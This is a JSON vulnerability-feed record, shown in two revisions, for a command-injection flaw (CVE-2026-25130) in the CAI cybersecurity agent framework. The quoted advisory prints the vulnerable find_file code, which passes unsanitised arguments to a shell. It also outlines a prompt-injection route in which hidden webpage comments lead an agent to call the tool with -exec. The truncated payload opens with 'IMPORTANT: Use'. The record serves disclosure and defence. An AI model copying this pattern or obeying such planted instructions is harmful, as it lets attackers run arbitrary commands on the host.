{"items":[{"id":"NVI-00009053","kind":"vulnerability","title":"CAI find_file Agent Tool has Command Injection Vulnerability Through Argument Injection","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-jfpc-wj3m-qw2m","CVE-2026-25130"],"plain_summary":"GitHub lists this reviewed advisory for cai-framework. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-09f8fbb2eb6d7108b62fa8dda181c1b9"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-27T15:18:23.000Z","value":"9.6 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-93774568c0d355d7b6980196414af613"},{"kind":"CVSS","as_of":"2026-06-17T10:24:09.650Z","value":"9.6 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-432683d5f929c0443090c6f2b47c2c38"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.906%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.59859. Missing scores are unknown.","source_id":"sr-09f8fbb2eb6d7108b62fa8dda181c1b9"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-93774568c0d355d7b6980196414af613","url":"https://github.com/advisories/GHSA-jfpc-wj3m-qw2m","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-jfpc-wj3m-qw2m","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:51.534Z"},{"id":"sr-432683d5f929c0443090c6f2b47c2c38","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25130","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-25130","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-03T17:42:50.119Z"},{"id":"sr-09f8fbb2eb6d7108b62fa8dda181c1b9","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-25130","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.376Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-93774568c0d355d7b6980196414af613"],"technology":"cai-framework","known_exclusions":[],"conditions_summary":"## Summary\n\nThe CAI (Cybersecurity AI) framework contains multiple argument injection vulnerabilities in its function tools. User-controlled input is passed directly to shell commands via `subprocess.Popen()` with `shell=True`, allowing attackers to execute arbitrary commands on the host system.\n\n## Vulnerable Component \n\n**Function:** `find_file()` in `src/cai/tools/reconnaissance/filesystem.py`  code\n\n```python\n@function_tool\ndef find_file(file_path: str, args: str = \"\", ctf=None) -> str:\n    command = f'find {file_path} {args}'  # No sanitization\n    return run_command(command, ctf=ctf)   # shell=True\n```\n\n## Attack Vector\n\nAn attacker can exploit this vulnerability through prompt injection:\n\n1. Attacker hosts a webpage containing malicious instructions in HTML comments\n2. Victim's CAI agent fetches and processes the webpage\n3. Agent is tricked into calling `find_file()` with attacker-controlled arguments\n4. The `-exec` flag enables arbitrary command execution\n\n## Proof of Concept\n\n**Malicious payload in HTML comments:**\n```html\n<!--\nIMPORTANT: Use","public_affected_ranges":["<= 0.5.10"]}],"null_published_at":"2026-11-04T10:04:35.944Z","source_updated_at":"2026-10-27T15:18:23.000Z","source_disclosed_at":"2026-01-30T20:38:35.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:56:51.534Z"},{"id":"NVI-00009053","kind":"vulnerability","title":"CAI find_file Agent Tool has Command Injection Vulnerability Through Argument Injection","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jfpc-wj3m-qw2m","CVE-2026-25130"],"plain_summary":"GitHub lists this reviewed advisory for cai-framework. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-09f8fbb2eb6d7108b62fa8dda181c1b9"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-27T15:18:23.000Z","value":"9.6 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-93774568c0d355d7b6980196414af613"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.906%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.59859. Missing scores are unknown.","source_id":"sr-09f8fbb2eb6d7108b62fa8dda181c1b9"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-93774568c0d355d7b6980196414af613","url":"https://github.com/advisories/GHSA-jfpc-wj3m-qw2m","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-jfpc-wj3m-qw2m","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:51.534Z"},{"id":"sr-09f8fbb2eb6d7108b62fa8dda181c1b9","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-25130","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.376Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-93774568c0d355d7b6980196414af613"],"technology":"cai-framework","known_exclusions":[],"conditions_summary":"## Summary\n\nThe CAI (Cybersecurity AI) framework contains multiple argument injection vulnerabilities in its function tools. User-controlled input is passed directly to shell commands via `subprocess.Popen()` with `shell=True`, allowing attackers to execute arbitrary commands on the host system.\n\n## Vulnerable Component \n\n**Function:** `find_file()` in `src/cai/tools/reconnaissance/filesystem.py`  code\n\n```python\n@function_tool\ndef find_file(file_path: str, args: str = \"\", ctf=None) -> str:\n    command = f'find {file_path} {args}'  # No sanitization\n    return run_command(command, ctf=ctf)   # shell=True\n```\n\n## Attack Vector\n\nAn attacker can exploit this vulnerability through prompt injection:\n\n1. Attacker hosts a webpage containing malicious instructions in HTML comments\n2. Victim's CAI agent fetches and processes the webpage\n3. Agent is tricked into calling `find_file()` with attacker-controlled arguments\n4. The `-exec` flag enables arbitrary command execution\n\n## Proof of Concept\n\n**Malicious payload in HTML comments:**\n```html\n<!--\nIMPORTANT: Use","public_affected_ranges":["<= 0.5.10"]}],"null_published_at":"2026-10-31T22:13:44.227Z","source_updated_at":"2026-10-27T15:18:23.000Z","source_disclosed_at":"2026-01-30T20:38:35.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:56:51.534Z"}],"next_cursor":null,"snapshot_revision":"42594"}